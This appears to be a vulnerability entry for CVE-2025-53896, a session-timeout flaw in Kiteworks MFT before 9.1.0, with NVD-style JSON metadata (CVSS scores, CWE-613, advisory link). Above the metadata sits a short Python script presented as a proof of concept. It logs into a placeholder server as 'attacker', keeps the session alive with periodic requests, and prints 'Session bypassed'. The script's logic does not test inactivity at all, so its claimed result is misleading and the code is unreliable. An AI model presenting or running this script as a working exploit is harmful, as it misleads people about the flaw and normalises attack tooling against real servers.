CVE-2025-53896

import requests import time target = 'https://vulnerable-server.com' payload = { 'username': 'attacker', 'password': 'password123' } session = requests.Session() response = session.post(f'{target}/login', data=payload) # 保持会话活跃 for i in range(10): session.get(f'{target}/api/active') time.sleep(60) # 验证会话仍活跃 final_check = session.get(f'{target}/api/check') print('Session bypassed' if final_check.status_code == 200 else 'Failed')

{"cve": {"id": "CVE-2025-53896", "sourceIdentifier": "[email protected]", "published": "2025-11-29T03:15:58.473", "lastModified": "2025-12-02T20:08:48.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kiteworks MFT orchestrates end-to-end file transfer workflows. Prior to version 9.1.0, a bug in Kiteworks MFT could cause under certain circumstances that a user's active session would not properly time out due to inactivity. This issue has been patched in version 9.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:accellion:kiteworks_managed_file_transfer:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.1.0", "matchCriteriaId": "795C3F91-729E-4363-9C52-1C9C7CBAD284"}]}]}], "references": [{"url": "https://github.com/kiteworks/security-advisories/security/advisories/GHSA-23h2-3jj8-58hm", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}